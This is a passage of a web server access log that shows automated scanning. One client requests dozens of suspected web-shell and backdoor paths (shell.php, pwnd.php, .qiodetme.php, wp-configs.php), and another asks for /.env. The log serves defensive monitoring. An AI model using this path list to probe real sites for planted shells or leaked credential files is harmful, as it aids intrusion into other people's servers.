SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:53 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:56 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:58 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:43:02 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 88.235.233.24 - - [24/Apr/2025:18:59:50 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 23.137.100.62 - - [24/Apr/2025:19:03:05 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30" 43.157.95.131 - - [24/Apr/2025:19:16:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2a01:4f8:121:fa::2 - - [24/Apr/2025:19:39:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 38.255.33.248 - - [24/Apr/2025:19:46:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Vivaldi/5.3.2679.68" 66.249.79.99 - - [24/Apr/2025:20:05:53 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.98 - - [24/Apr/2025:20:05:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 196.117.102.152 - - [24/Apr/2025:20:27:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:19 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:19 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:28:20 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:28:20 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:20 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:28:20 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:20 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:21 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:21 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:28:21 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:28:21 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:22 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:22 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:22 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:28:22 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:23 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:23 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:23 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:28:23 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:24 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:24 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:24 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:25 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:28:25 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:25 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:25 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:28:26 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:28:26 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:26 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:28:26 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:27 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:27 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:28:28 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:28 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:28:29 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.192.172 - - [24/Apr/2025:20:28:29 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:28:30 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:30 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:30 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:28:31 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:28:31 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:28:32 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:32 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:28:32 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:28:33 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:33 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:33 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:34 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:34 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:28:34 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:35 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:35 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:35 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:35 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:36 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:36 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:36 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:36 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:28:37 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:37 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:37 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:37 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:38 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:38 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:38 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:39 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:39 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:39 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:40 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:40 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:40 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:40 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:41 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:41 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:28:41 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:42 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:42 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:28:42 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:43 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:43 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:28:43 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.192.172 - - [24/Apr/2025:20:28:43 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:43 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:28:44 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:44 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:44 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:45 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:45 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:28:45 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:46 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:46 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:46 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:46 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:48 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:48 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:48 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:28:49 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:49 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:49 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:50 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:50 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:28:50 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:51 